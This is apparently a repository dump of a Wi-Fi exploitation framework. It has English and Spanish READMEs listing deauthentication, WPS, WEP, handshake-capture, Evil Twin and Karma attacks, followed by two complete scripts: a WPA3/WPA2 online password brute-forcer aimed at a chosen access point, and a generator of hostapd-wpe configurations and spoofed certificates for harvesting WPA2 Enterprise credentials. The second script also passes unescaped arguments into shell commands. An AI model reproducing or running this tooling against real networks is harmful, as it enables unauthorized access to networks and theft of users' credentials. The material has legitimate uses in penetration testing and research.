|
2 | WEF 3 |
4 | 5 |

6 |

WiFi Exploitation Framework

7 |
Coded with 💙 by D3Ext
8 |

9 | 10 |

11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 |

25 | 26 |

27 | Introduction • 28 | Attacks • 29 | Features • 30 | Installation • 31 | Usage 32 |


33 | 34 |

35 | README in spanish 36 |

37 | 38 | ## Introduction 39 | 40 | This tool is designed for security researchers and penetration testers to analyze and exploit vulnerabilities in Wi-Fi networks. It provides an intuitive interface with a wide range of automated and manual attack techniques to test WPA/WPA2, WPS, and WEP security. With support for both 2.4 GHz and 5 GHz networks, detailed logging and customizable attack options, it offers flexibility for different testing scenarios. This is not a professional tool. 41 | 42 | If you find an error, please open an issue (you can write it in english or spanish, as you want). 43 | 44 | ## Supported attacks 45 | 46 | - DoS (optional handshake capture): 47 | - Deauthentication/Disassociation attack 48 | - WIDS Confusion attack 49 | - Authentication attack 50 | - Beacon Flood attack 51 | - TKIP attack (Michael Shutdown Exploitation) 52 | - WPS: 53 | - Pixie Dust attack 54 | - PIN Bruteforce attack 55 | - Null Pin attack 56 | - WEP: 57 | - ARP Replay attack 58 | - HIRTE attack 59 | - Caffe Latte attack 60 | - Fake Authentication attack 61 | - Handshake: 62 | - WPA handshake attack 63 | - PMKID handshake attack 64 | - Pwnagotchi mode 65 | - Rogue AP: 66 | - Evil Twin attack 67 | - BSSID spoofing 68 | - Karma mode 69 | - Enterprise WPA supported 70 | - Deauth supported 71 | - Other attacks: 72 | - Automatic attack mode (Auto PWN) 73 | - WPA3 dictionary attack 74 | 75 | All the mentioned attacks/techniques are explained [here](https://github.com/D3Ext/WEF/wiki/Attacks) on the Wiki 76 | 77 | ## Features 78 | 79 | This are some of the most notable features: 80 | 81 | :ballot_box_with_check: WPA/WPA2/WPA3, WPS, WEP, Rogue-AP, and Handshake Attacks 82 | 83 | :ballot_box_with_check: Automatic attack mode based on the features of the AP 84 | 85 | :ballot_box_with_check: Automatic handshake capture 86 | 87 | :ballot_box_with_check: Online and offline handshake cracking 88 | 89 | :ballot_box_with_check: Simple login template for Evil Twin attack (multiple languages supported) 90 | 91 | :ballot_box_with_check: Toggle monitor mode and view information about the network interface (frequencies, chipset, etc.) 92 | 93 | :ballot_box_with_check: 2.4 GHz and 5 GHz supported 94 | 95 | :ballot_box_with_check: Informative reports using HTML templates 96 | 97 | :ballot_box_with_check: Standalone script 98 | 99 | :ballot_box_with_check: English and spanish supported 100 | 101 | ## Installation 102 | 103 | > As root 104 | ```sh 105 | git clone --depth 1 https://github.com/D3Ext/WEF 106 | cd WEF 107 | bash wef 108 | ``` 109 | 110 | Take a look at the [Wiki](https://github.com/D3Ext/WEF/wiki/Installation) where I have more info about the tool 111 | 112 | ## Usage 113 | 114 | > Common usage of the framework (your interface may have other name) 115 | ```sh 116 | wef -i wlan0 117 | ``` 118 | 119 | > Help panel 120 | ``` 121 | __ _____ ___ 122 | \ \ / / __| __| 123 | \ \/\/ /| _|| _| 124 | \_/\_/ |___|_| 125 | 126 | [WEF] WiFi Exploitation Framework 1.6 127 | 128 | [*] Interfaces: 129 | wlan0 130 | 131 | Required parameters: 132 | -i, --interface) The name of your network adapter interface in managed mode 133 | 134 | Optional parameters: 135 | -h, --help) Show this help panel 136 | --version) Print the version and exit 137 | ``` 138 | 139 | See [here](https://github.com/D3Ext/WEF/wiki/Usage-&-Tips) for more information about how to use the tool and other related topics 140 | 141 | ## Demo 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | ## TODO 160 | 161 | - Custom Evil Twin templates based on target AP vendor (TP-Link, Netgear, etc) 162 | - Even more languages for Evil Twin templates 163 | - More WPA3 attacks: Downgrade, Dragondrain 164 | - ~~Sort APs by default by power to show which APs are closer~~ 165 | - ~~WEF now works as a standalone script~~ 166 | - ~~Disassociation is now supported alongside deauthentication~~ 167 | - ~~Vendors are no longer parsed from a local file~~ 168 | - ~~APs scanning has been improved, now APs with clients are marked in green colour~~ 169 | - ~~Evil Twin now supports PMKID handshake to check captured passwords~~ 170 | - ~~MAC randomization/spoofing improved~~ 171 | - ~~Filters for WPS and WPA3 when scanning APs~~ 172 | - ~~Most attacks were reworked and/or improved, new options are available~~ 173 | - ~~Graphical session and windows were reworked~~ 174 | - ~~Non-Graphical usage has been improved~~ 175 | - ~~Automatic dependencies installation on main distros~~ 176 | - ~~Deep testing on supported distros (Manjaro, Fedora, Parrot, Debian, etc)~~ 177 | - ~~Requirements were updated. Some more were added although the should be installed on most distros~~ 178 | - ~~WPA3 attack optimized~~ 179 | - ~~Now certificate files needed for Enterprise Evil Twin are generated automatically~~ 180 | - ~~More languages supported on Evil Twin templates (czech, danish and romanian)~~ 181 | - ~~Now wordlists are not needed anymore as dependencies~~ 182 | - ~~Better error handling for most scenarios~~ 183 | - ~~Multiple bug fixes~~ 184 | 185 | ## Changelog 186 | 187 | See [CHANGELOG.md](https://github.com/D3Ext/WEF/blob/main/CHANGELOG.md) 188 | 189 | ## References 190 | 191 | ``` 192 | https://github.com/aircrack-ng/aircrack-ng 193 | https://github.com/aircrack-ng/mdk4 194 | https://github.com/v1s1t0r1sh3r3/airgeddon 195 | https://github.com/FluxionNetwork/fluxion 196 | https://github.com/P0cL4bs/wifipumpkin3 197 | https://github.com/s0lst1c3/eaphammer 198 | https://github.com/derv82/wifite2 199 | https://github.com/wifiphisher/wifiphisher 200 | https://github.com/ZerBea/hcxtools 201 | https://github.com/ZerBea/hcxdumptool 202 | https://github.com/Tylous/SniffAir 203 | https://github.com/blunderbuss-wctf/wacker 204 | https://github.com/evilsocket/pwnagotchi 205 | https://github.com/koutto/pi-pwnbox-rogueap 206 | https://github.com/koutto/pi-pwnbox-rogueap/wiki/01.-WiFi-Basics 207 | ``` 208 | 209 | ## Disclaimer 210 | 211 | The creator has no responsibility for any kind of illegal use of the project. 212 | 213 | ## License 214 | 215 | This project is under MIT license 216 | 217 | Copyright © 2025, *D3Ext* 218 | 219 | 220 | 221 | -------------------------------------------------------------------------------- /SPANISH.md: -------------------------------------------------------------------------------- 1 |
2 | WEF 3 |
4 | 5 |

6 |

WiFi Exploitation Framework

7 |
Hecho con 💙 por D3Ext
8 |

9 | 10 |

11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 |

25 | 26 |

27 | Introducción • 28 | Ataques • 29 | Funciones • 30 | Instalación • 31 | Requisitos 32 |

33 | 34 | ## Introducción 35 | 36 | Esta herramienta está diseñada para que los investigadores de seguridad y los penetration testers analicen y exploten las vulnerabilidades de las redes Wi-Fi. Proporciona una interfaz intuitiva con una amplia gama de técnicas de ataque automatizadas y manuales para probar la seguridad WPA/WPA2, WPS y WEP. Con soporte para redes de 2,4 GHz y 5 GHz, registro detallado y opciones de ataque personalizables, ofrece flexibilidad para diferentes escenarios de prueba. No se trata de una herramienta profesional. 37 | 38 | Si encuentras algún error, abre un issue en el repositorio (puedes escribirlo en español o inglés, como prefieras). 39 | 40 | ## Ataques soportados 41 | 42 | - DoS: 43 | - Ataque de deautenticación 44 | - Ataque de confusión WIDS 45 | - Ataque de autenticación 46 | - Ataque Beacon Flood 47 | - Ataque TKIP (Michael Shutdown Exploitation) 48 | - WPS: 49 | - Ataque Pixie Dust 50 | - Ataque de fuerza bruta de PIN 51 | - Ataque de pin nulo 52 | - WEP: 53 | - Ataque ARP Replay 54 | - Ataque HIRTE 55 | - Ataque Caffe Latte 56 | - Ataque de falsa autenticación 57 | - Handshake: 58 | - Ataque de handshake WPA 59 | - Ataque de handshake PMKID 60 | - Rogue-AP: 61 | - EvilTwin: 62 | - Modo KARMA 63 | - WPA Enterprise 64 | - Deautenticación soportada 65 | - Otros ataques: 66 | - Modo de ataque automatico (Auto PWN) 67 | - Ataque WPA3 con diccionario 68 | 69 | Todos los ataques mencionados arriba están explicados [aquí](https://github.com/D3Ext/WEF/wiki/Attacks) en la Wiki de este repositorio 70 | 71 | ## Funciones 72 | 73 | Estas son algunas de las funciones más destacadas: 74 | 75 | :ballot_box_with_check: Ataques WPA/WPA2/WPA3, WPS, WEP, Rogue-AP y de Handshake 76 | 77 | :ballot_box_with_check: Modo de ataque automático en función de las características del AP 78 | 79 | :ballot_box_with_check: Captura y cracking automático de handshakes 80 | 81 | :ballot_box_with_check: Cracking de handshakes online y offline 82 | 83 | :ballot_box_with_check: Plantilla simple de login para el ataque Evil Twin (en diferentes idiomas) 84 | 85 | :ballot_box_with_check: Activar/desactivar el modo monitor y ver información sobre la interfaz de red (frecuencias, chipset, dirección MAC...) 86 | 87 | :ballot_box_with_check: 2.4 GHz y 5 GHz soportados 88 | 89 | :ballot_box_with_check: Reportes informativos sobre los ataques en formato HTML 90 | 91 | :ballot_box_with_check: Script standalone 92 | 93 | :ballot_box_with_check: Inglés y español soportados 94 | 95 | ## Instalación 96 | 97 | > Como root 98 | ```sh 99 | git clone --depth 1 https://github.com/D3Ext/WEF 100 | cd WEF 101 | bash wef 102 | ``` 103 | 104 | Echa un ojo a la [Wiki](https://github.com/D3Ext/WEF/wiki/Installation) donde hay más información sobre la instalación 105 | 106 | ## Uso 107 | 108 | > Uso habitual del framework (el nombre de la interfaz puede ser diferente) 109 | ```sh 110 | wef -i wlan0 111 | ``` 112 | 113 | > Panel de ayuda 114 | ``` 115 | __ _____ ___ 116 | \ \ / / __| __| 117 | \ \/\/ /| _|| _| 118 | \_/\_/ |___|_| 119 | 120 | [WEF] WiFi Exploitation Framework 1.6 121 | 122 | Interfaces: 123 | wlan0 124 | 125 | Required parameters: 126 | -i, --interface) The name of your network adapter interface in managed mode 127 | 128 | Optional parameters: 129 | -h, --help) Show this help panel 130 | --version) Print the version and exit 131 | ``` 132 | 133 | Mira [aquí](https://github.com/D3Ext/WEF/wiki/Usage-&-Tips) para más información sobre como usar la herramienta y otros temas relacionados 134 | 135 | ## Demo 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | ## TODO 154 | 155 | - Plantillas personalizadas de Evil Twin basadas en el vendor del AP (TP-Link, Netgear, etc) 156 | - Más idiomas aun para las plantillas de Evil Twin 157 | - Más ataques WPA3: Downgrade, Dragondrain 158 | - ~~Ordena los APs por el power para mostrar los APs más cercanos~~ 159 | - ~~WEF ahora funciona como un script standalone~~ 160 | - ~~Ahora la desasociación esta soportada junto a la deauthenticación~~ 161 | - ~~Los vendors ya no se obtiene de un archivo local~~ 162 | - ~~El escaneo de APs ha sido mejorado, ahora los APs con clientes se marcan en color verde~~ 163 | - ~~Evil Twin ahora soporta handshakes PMKID para comprobar las contraseñas obtenidas~~ 164 | - ~~La randomizacion/spoofing de la dirección MAC ha sido mejorada~~ 165 | - ~~Filtros para WPS y WPA3 a la hora de escanear APs~~ 166 | - ~~La mayoria de ataques han sido rehechos/mejorados, nuevas opciones disponibles~~ 167 | - ~~Las sesiones gráficas y las ventanas han sido rediseñadas y mejoradas~~ 168 | - ~~El uso de WEF sin sesión gráfica ha sido mejorado~~ 169 | - ~~Instalación automatica de requisitos en las distros principales~~ 170 | - ~~Pruebas en profundidad en las distros compatibles (Manjaro, Fedora, Parrot, Debian, etc)~~ 171 | - ~~Los requisitos fueron actualizados. Se han añadido algunos requerimientos más aunque deberian estar instalados en la mayoria de distros~~ 172 | - ~~Ataque WPA3 actualizado y rediseñado~~ 173 | - ~~Más idiomas soportados en las plantillas de Evil Twin (checho, danés y rumano)~~ 174 | - ~~Los diccionarios ya no son requeridos como dependencias~~ 175 | - ~~Mejor manejo de los errores en la mayoria de casos~~ 176 | - ~~Multiples errores arreglados~~ 177 | 178 | ## Contribuir 179 | 180 | Mira [CONTRIBUTING.md](https://github.com/D3Ext/WEF/blob/main/CONTRIBUTING.md) 181 | 182 | ## Changelog 183 | 184 | Mira [CHANGELOG.md](https://github.com/D3Ext/WEF/blob/main/CHANGELOG.md) 185 | 186 | ## Referencias 187 | 188 | ``` 189 | https://github.com/aircrack-ng/aircrack-ng 190 | https://github.com/aircrack-ng/mdk4 191 | https://github.com/v1s1t0r1sh3r3/airgeddon 192 | https://github.com/FluxionNetwork/fluxion 193 | https://github.com/P0cL4bs/wifipumpkin3 194 | https://github.com/s0lst1c3/eaphammer 195 | https://github.com/derv82/wifite2 196 | https://github.com/wifiphisher/wifiphisher 197 | https://github.com/ZerBea/hcxtools 198 | https://github.com/ZerBea/hcxdumptool 199 | https://github.com/Tylous/SniffAir 200 | https://github.com/evilsocket/pwnagotchi 201 | https://github.com/koutto/pi-pwnbox-rogueap 202 | https://github.com/koutto/pi-pwnbox-rogueap/wiki/01.-WiFi-Basics 203 | ``` 204 | 205 | ## Disclaimer 206 | 207 | El creador no se hace cargo de ningún uso ilegal del proyecto 208 | 209 | ## Licencia 210 | 211 | Este proyecto está bajo licencia MIT 212 | 213 | Copyright © 2025, *D3Ext* 214 | 215 | -------------------------------------------------------------------------------- /src/wacker/mod_wacker.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import argparse 4 | import os 5 | import re 6 | import signal 7 | import socket 8 | import stat 9 | import subprocess 10 | import sys 11 | import time 12 | 13 | assert sys.version_info >= (3,7) 14 | 15 | def kill(sig, frame): 16 | try: 17 | wacker.kill() 18 | print(f'Stopped at password attempt: {word}') 19 | except: 20 | pass 21 | sys.exit(0) 22 | 23 | signal.signal(signal.SIGINT, kill) 24 | 25 | class Wacker(object): 26 | RETRY = 0 27 | SUCCESS = 1 28 | FAILURE = 2 29 | EXIT = 3 30 | 31 | def __init__(self, args): 32 | self.args = args 33 | 34 | self.tmp_dir = f'/tmp/wef/wacker' 35 | self.wacker_dir = f'/root/.config/wef/wacker' 36 | 37 | self.server = f'{self.tmp_dir}/{args.interface}' 38 | self.conf = f'{self.server}.conf' 39 | self.wpa = f'{self.wacker_dir}/wpa_supplicant_amd64' 40 | self.pid = f'{self.server}.pid' 41 | self.me = f'{self.tmp_dir}/{args.interface}_client' 42 | self.key_mgmt = ('SAE', 'WPA-PSK')[args.brute_wpa2] 43 | 44 | self.sock = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM) 45 | 46 | self.cmd = f'{self.wpa} -P {self.pid} -B -i {self.args.interface} -c {self.conf}' 47 | self.cmd = self.cmd.split() 48 | 49 | wpa_conf = 'ctrl_interface={}\n\n{}network={{\n}}'.format(self.tmp_dir, ('sae_pwe=2\n\n', '')[args.brute_wpa2]) 50 | 51 | self.total_count = int(subprocess.check_output(f'wc -l {args.wordlist}', shell=True).split()[0].decode('utf-8')) 52 | 53 | # Create supplicant directory and remove previous files 54 | os.system(f'mkdir {self.tmp_dir} 2>/dev/null') 55 | os.system(f'rm -f {self.tmp_dir}/{args.interface}*') 56 | 57 | # Write configuration file 58 | with open(self.conf, 'w') as f: 59 | f.write(wpa_conf) 60 | 61 | # Initial supplicant setup 62 | self.start_supplicant() 63 | self.create_uds_endpoints() 64 | self.one_time_setup() 65 | 66 | # Create rolling average for pwd/sec 67 | self.rolling = [0] * 150 68 | self.start_time = time.time() 69 | self.lapse = self.start_time 70 | print('Start time: {}'.format(time.strftime('%d %b %Y %H:%M:%S', time.localtime(self.start_time)))) 71 | 72 | def create_uds_endpoints(self): 73 | try: 74 | os.unlink(self.me) 75 | except Exception: 76 | if os.path.exists(self.me): 77 | raise 78 | 79 | self.sock.bind(self.me) 80 | 81 | print(f'Connecting to {self.server}') 82 | try: 83 | self.sock.connect(self.server) 84 | except Exception: 85 | raise 86 | 87 | def start_supplicant(self): 88 | print('Starting wpa_supplicant...') 89 | proc = subprocess.Popen(self.cmd) 90 | time.sleep(2) 91 | 92 | mode = os.stat(self.server).st_mode 93 | if not stat.S_ISSOCK(mode): 94 | raise Exception(f'Missing {self.server}... Is wpa_supplicant running?') 95 | 96 | def send_to_server(self, msg): 97 | self.sock.sendall(msg.encode()) 98 | d = self.sock.recv(1024).decode().rstrip('\n') 99 | if d == "FAIL": 100 | raise Exception(f'{msg} failed!') 101 | return d 102 | 103 | def one_time_setup(self): 104 | self.send_to_server('ATTACH') 105 | self.send_to_server(f'SET_NETWORK 0 ssid "{self.args.ssid}"') 106 | self.send_to_server(f'SET_NETWORK 0 key_mgmt {self.key_mgmt}') 107 | self.send_to_server(f'SET_NETWORK 0 bssid {self.args.bssid}') 108 | self.send_to_server(f'SET_NETWORK 0 scan_freq {self.args.freq}') 109 | self.send_to_server(f'SET_NETWORK 0 freq_list {self.args.freq}') 110 | self.send_to_server(f'SET_NETWORK 0 ieee80211w 1') 111 | self.send_to_server(f'DISABLE_NETWORK 0') 112 | 113 | def send_connection_attempt(self, psk): 114 | print(f'Trying key: {psk}') 115 | 116 | if self.key_mgmt == 'SAE': 117 | self.send_to_server(f'SET_NETWORK 0 sae_password "{psk}"') 118 | else: 119 | self.send_to_server(f'SET_NETWORK 0 psk "{psk}"') 120 | 121 | self.send_to_server(f'ENABLE_NETWORK 0') 122 | 123 | def listen(self, count): 124 | while True: 125 | datagram = self.sock.recv(2048) 126 | if not datagram: 127 | return Wacker.RETRY 128 | 129 | data = datagram.decode().rstrip('\n') 130 | event = data.split()[0] 131 | if event == "<3>CTRL-EVENT-BRUTE-FAILURE": 132 | self.print_stats(count) 133 | self.send_to_server(f'DISABLE_NETWORK 0') 134 | print('\nBRUTE ATTEMPT FAIL\n') 135 | return Wacker.FAILURE 136 | elif event == "<3>CTRL-EVENT-NETWORK-NOT-FOUND": 137 | self.send_to_server(f'DISABLE_NETWORK 0') 138 | print(f'NETWORK NOT FOUND\n') 139 | return Wacker.EXIT 140 | elif event == "<3>CTRL-EVENT-SCAN-FAILED": 141 | self.send_to_server(f'DISABLE_NETWORK 0') 142 | print('SCAN FAILURE\n') 143 | return Wacker.EXIT 144 | elif event == "<3>CTRL-EVENT-BRUTE-SUCCESS": 145 | self.print_stats(count) 146 | print('\nBRUTE ATTEMPT SUCCESS\n') 147 | return Wacker.SUCCESS 148 | elif event == "<3>CTRL-EVENT-BRUTE-RETRY": 149 | print('\nBRUTE ATTEMPT RETRY\n') 150 | self.send_to_server(f'DISABLE_NETWORK 0') 151 | return Wacker.RETRY 152 | 153 | def print_stats(self, count): 154 | current = time.time() 155 | avg = 1 / (current - self.lapse) 156 | self.lapse = current 157 | 158 | if count <= 150: 159 | self.rolling[count-1] = avg 160 | avg = sum(self.rolling[:count]) / count 161 | else: 162 | self.rolling[(count-1) % 150] = avg 163 | avg = sum(self.rolling) / 150 164 | 165 | spot = count 166 | est = (self.total_count - spot) / avg 167 | percent = spot / self.total_count * 100 168 | end = time.strftime('%d %b %Y %H:%M:%S', time.localtime(current + est)) 169 | lapse = current - self.start_time 170 | print(f'{spot:8} / {self.total_count:<8} words ({percent:2.2f}%) : {avg:4.0f} words/sec : ' \ 171 | f'{lapse/3600:5.3f} hours lapsed : {est/3600:8.2f} hours to exhaust ({end})', end='\r') 172 | 173 | def kill(self): 174 | print('\nStop time: {}'.format(time.strftime('%d %b %Y %H:%M:%S', time.localtime(time.time())))) 175 | os.kill(int(open(self.pid).read()), signal.SIGKILL) 176 | 177 | parser = argparse.ArgumentParser(description='A WPA3 dictionary cracker') 178 | parser.add_argument('--wordlist', type=str, required=True, help='wordlist to use', dest='wordlist') 179 | parser.add_argument('--interface', type=str, dest='interface', required=True, help='interface to use in managed mode') 180 | parser.add_argument('--bssid', type=str, dest='bssid', required=True, help='bssid of the target AP') 181 | parser.add_argument('--ssid', type=str, dest='ssid', required=True, help='the ssid of the WPA3 AP') 182 | parser.add_argument('--freq', type=int, dest='freq', required=True, help='frequency of the AP') 183 | parser.add_argument('--wpa2', dest='brute_wpa2', action='store_true', help='brute force wpa2-personal') 184 | 185 | args = parser.parse_args() 186 | 187 | if os.geteuid() != 0: 188 | print('This script must be run as root!') 189 | sys.exit(0) 190 | 191 | wacker = Wacker(args) 192 | 193 | def attempt(word, count): 194 | while True: 195 | wacker.send_connection_attempt(word) 196 | result = wacker.listen(count) 197 | if result == Wacker.EXIT: 198 | kill(None, None) 199 | elif result != Wacker.RETRY: 200 | return result 201 | 202 | print() 203 | 204 | # Start the cracking 205 | count = 1 206 | with open(args.wordlist, "r") as f: 207 | while True: 208 | word = f.readline() 209 | if word: 210 | word = word.rstrip('\n') 211 | result = attempt(word, count) 212 | 213 | if result == Wacker.SUCCESS: 214 | print(f'\nFound the password: "{word}"') 215 | break 216 | 217 | count += 1 218 | else: 219 | print('Could not find the password') 220 | break 221 | 222 | wacker.kill() 223 | -------------------------------------------------------------------------------- /scripts/apd_launchpad.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import argparse 4 | import datetime 5 | import os 6 | import subprocess 7 | import tempfile 8 | import time 9 | 10 | import jinja2 11 | 12 | jinja_env = jinja2.Environment(trim_blocks=True) 13 | jinja_env.filters['strftime'] = lambda dt, fmt: dt.strftime(fmt) 14 | 15 | # vars: broadcast, pwd, target, interface, ssid, channel, wpa_version, [bridge] 16 | TEMPLATE_HOSTAPD_CONF = jinja_env.from_string("""\ 17 | # hostapd-wpe configuration file for {{ target }} created on {{ timestamp | strftime('%d %b %Y at %H:%M:%S') }} 18 | interface={{ interface }} 19 | ssid={{ ssid }} 20 | channel={{ channel }} 21 | {% if bridge %}bridge={{ bridge }}{% endif %} 22 | ignore_broadcast_ssid={{ broadcast }} 23 | eap_user_file={{ pwd }}/hostapd-wpe.eap_user 24 | {# ca cert location #} 25 | ca_cert={{ pwd }}/{{ target }}/ca.pem 26 | {# server cert location #} 27 | server_cert={{ pwd }}/{{ target }}/server.pem 28 | {# private key location #} 29 | private_key={{ pwd }}/{{ target }}/server.pem 30 | private_key_passwd={{ password }} 31 | dh_file={{ pwd }}/{{ target }}/dh 32 | eap_fast_a_id=101112131415161718191a1b1c1d1e1f 33 | eap_server=1 34 | eap_fast_a_id_info=hostapd-wpe 35 | eap_fast_prov=3 36 | ieee8021x=1 37 | pac_key_lifetime=604800 38 | pac_key_refresh_time=86400 39 | pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f 40 | wpa={{ wpa_version }} 41 | wpa_key_mgmt=WPA-EAP 42 | wpa_pairwise=TKIP CCMP 43 | """) 44 | 45 | TEMPLATE_OPENSSL_CONF = jinja_env.from_string("""\ 46 | [ ca ] 47 | default_ca = CA_default 48 | [ CA_default ] 49 | dir = . 50 | certs = $dir 51 | crl_dir = $dir/crl 52 | database = $dir/demoCA/index.txt 53 | new_certs_dir = $dir 54 | certificate = $dir/{{ cnf_type }}.pem 55 | serial = $dir/demoCA/serial 56 | crl = $dir/crl.pem 57 | private_key = $dir/{{ cnf_type }}.key 58 | RANDFILE = $dir/.rand 59 | name_opt = ca_default 60 | cert_opt = ca_default 61 | default_days = 365 62 | default_crl_days = 30 63 | default_md = sha256 64 | preserve = no 65 | policy = policy_match 66 | [ policy_match ] 67 | countryName = optional 68 | stateOrProvinceName = optional 69 | organizationName = optional 70 | organizationalUnitName = optional 71 | commonName = supplied 72 | emailAddress = optional 73 | [ req ] 74 | prompt = no 75 | {% if cnf_type == 'ca' %} 76 | distinguished_name = certificate_authority 77 | {% elif cnf_type == 'server' %} 78 | distinguished_name = server 79 | {% endif %} 80 | default_bits = 2048 81 | input_password = {{ password }} 82 | output_password = {{ password }} 83 | [certificate_authority] 84 | {% if country %} 85 | countryName = {{ country }} 86 | {% endif %} 87 | {% if state %} 88 | stateOrProvinceName = {{ state }} 89 | {% endif %} 90 | {% if location %} 91 | localityName = {{ location }} 92 | {% endif %} 93 | {% if org %} 94 | organizationName = {{ org }} 95 | {% endif %} 96 | {% if email %} 97 | emailAddress = {{ email }} 98 | {% endif %} 99 | commonName = {{ common_name }} 100 | """) 101 | 102 | TEMPLATE_XPEXTENSIONS = """\ 103 | # 104 | # File containing the OID's required for Windows. 105 | # 106 | # http://support.microsoft.com/kb/814394/en-us 107 | # 108 | [ xpclient_ext] 109 | extendedKeyUsage = 1.3.6.1.5.5.7.3.2 110 | 111 | [ xpserver_ext] 112 | extendedKeyUsage = 1.3.6.1.5.5.7.3.1 113 | 114 | # 115 | # Add this to the PKCS#7 keybag attributes holding the client's private key 116 | # for machine authentication. 117 | # 118 | # the presence of this OID tells Windows XP that the cert is intended 119 | # for use by the computer itself, and not by an end-user. 120 | # 121 | # The other solution is to use Microsoft's web certificate server 122 | # to generate these certs. 123 | # 124 | # 1.3.6.1.4.1.311.17.2 125 | """ 126 | 127 | def write_cnf(target, cnf_type, password, country, state, org, common_name, location, email): 128 | with open(os.path.join(target, cnf_type + '.cnf'), 'w') as cnf_file: 129 | cnf_file.write(TEMPLATE_OPENSSL_CONF.render( 130 | cnf_type=cnf_type, 131 | common_name=common_name, 132 | country=country, 133 | email=email, 134 | location=location, 135 | org=org, 136 | password=password, 137 | state=state 138 | )) 139 | 140 | 141 | def main(): 142 | parser = argparse.ArgumentParser(description='Facilitate the creation of hostapd-wpe configuration files and spoofed certificates for WPA2 Enterprise credential harvesting.') 143 | 144 | # hostapd-wpe configuration file parameters 145 | parser.add_argument('-t', '--target', dest='target', required=True, help='Name of target organization. Used to create directory. Required.') 146 | parser.add_argument('-s', '--ssid', dest='ssid', required=True, help='SSID of wireless network. Required.') 147 | parser.add_argument('-i', '--interface', dest='interface', required=True, help='Wireless interface on which to broadcast. Required.') 148 | parser.add_argument('-ch', '--channel', dest='channel', type=int, default=1, help='Channel on which to broadcast (default "1").') 149 | parser.add_argument('-bc', '--broadcast', dest='broadcast', type=int, default=0, choices=set((0, 1, 2)), help='Broadcast or cloak SSID. 0=Broadcast SSID; 1=Send empty SSID beacon (length=0); 2=Send SSID beacon with length (length=N) (default 0).') 150 | parser.add_argument('-br', '--bridge', dest='bridge', help='Bridge interface to use for MitM (default none).') 151 | parser.add_argument('-w', '--wpa', dest='wpa_version', type=int, default=2, choices=set((1,2)), help='Version of WPA (default "2")') 152 | 153 | # certificate generation parameters 154 | parser.add_argument('-cn', '--common-name', dest='common_name', required=True, help='Common name for certificate. Required.') 155 | parser.add_argument('-o', '--org', dest='org', help='Organization for certificate. Optional.') 156 | parser.add_argument('-st', '--state', dest='state', help='State or province for certificate. Optional.') 157 | parser.add_argument('-c', '--country', dest='country', help='Country code for certificate. Optional.') 158 | parser.add_argument('-p', '--password', dest='password', default='password', help='Password for certificate generation (default "password").') 159 | parser.add_argument('-l', '--location', dest='location', help='Location for certificate. Optional.') 160 | parser.add_argument('-ou', '--org-unit', dest='org_unit', help='Organizatoinal unit for certificate. Optional.') 161 | parser.add_argument('-e', '--email', dest='email', help='Email address for cerificate. Optional.') 162 | parser.add_argument('-v', '--verbose', action='store_true', help='Show verbose output.') 163 | 164 | # parse arguments 165 | args = parser.parse_args() 166 | target = args.target 167 | password = args.password 168 | 169 | # Setup the required directories 170 | if not os.path.isdir(os.path.join(target, 'demoCA', 'newcerts')): 171 | os.makedirs(os.path.join(target, 'demoCA', 'newcerts')) 172 | # Write the required index.txt and serial files 173 | with open(os.path.join(target, 'demoCA', 'index.txt'), 'w') as file_h: 174 | pass 175 | 176 | with open(os.path.join(target, 'demoCA', 'index.txt.attr'), 'w') as file_h: 177 | pass 178 | 179 | with open(os.path.join(target, 'demoCA', 'serial'), 'w') as file_h: 180 | file_h.write('01') 181 | 182 | write_cnf(target, 'ca', password, args.country, args.state, args.org, args.common_name, args.location, args.email) 183 | write_cnf(target, 'server', password, args.country, args.state, args.org, args.common_name, args.location, args.email) 184 | 185 | with open(os.path.join(target, target + '.conf'), 'w') as conf_file: 186 | conf_file.write(TEMPLATE_HOSTAPD_CONF.render( 187 | bridge=args.bridge, 188 | broadcast=args.broadcast, 189 | channel=args.channel, 190 | interface=args.interface, 191 | password=password, 192 | pwd=os.getcwd(), 193 | ssid=args.ssid, 194 | target=target, 195 | timestamp=datetime.datetime.utcnow(), 196 | wpa_version=args.wpa_version 197 | )) 198 | 199 | # Build and execute the openssl commands for certificate generation 200 | subj = '/CN=' + args.common_name 201 | if args.country: 202 | subj += '/C=' + args.country 203 | if args.state: 204 | subj += '/ST=' + args.state 205 | if args.location: 206 | subj += '/L=' + args.location 207 | if args.org: 208 | subj += '/O=' + args.org 209 | if args.org_unit: 210 | subj += '/OU=' + args.org_unit 211 | if args.email: 212 | subj += '/emailAddress=' + args.email 213 | # write xpextensions out to a temp file 214 | _, xpextensions_path = tempfile.mkstemp(suffix='.txt') 215 | with open(xpextensions_path, 'w') as file_h: 216 | file_h.write(TEMPLATE_XPEXTENSIONS) 217 | if args.verbose: 218 | print('[*] Wrote xpextensions to tempfile: ' + xpextensions_path) 219 | commands = [ 220 | 'openssl dhparam -out ./{}/dh 1024'.format(target), 221 | 'openssl req -new -sha256 -newkey rsa:2048 -passout pass:{} -subj \'{}\' -keyout ./{}/server.key -out ./{}/server.csr'.format(password, subj, target, target), 222 | 'openssl req -new -x509 -keyout ./{}/ca.key -out ./{}/ca.pem -days 365 -config ./{}/ca.cnf '.format(target, target, target), 223 | 'cd ./{}; openssl ca -batch -keyfile ca.key -cert ca.pem -in server.csr -key {} -out server.crt -extensions xpserver_ext -extfile {} -config ./server.cnf; cd ../'.format(target, password, xpextensions_path), 224 | 'openssl pkcs12 -export -in ./{}/server.crt -inkey ./{}/server.key -out ./{}/server.p12 -passin pass:{} -passout pass:{}'.format(target, target, target, password, password), 225 | 'openssl pkcs12 -in ./{}/server.p12 -out ./{}/server.pem -passin pass:{} -passout pass:{}'.format(target, target, password, password), 226 | 'openssl x509 -inform PEM -outform DER -in ./{}/ca.pem -out ./{}/ca.der'.format(target, target) 227 | ] 228 | 229 | for command in commands: 230 | if args.verbose: 231 | print('[*] Running command: ' + command) 232 | else: 233 | command += ' 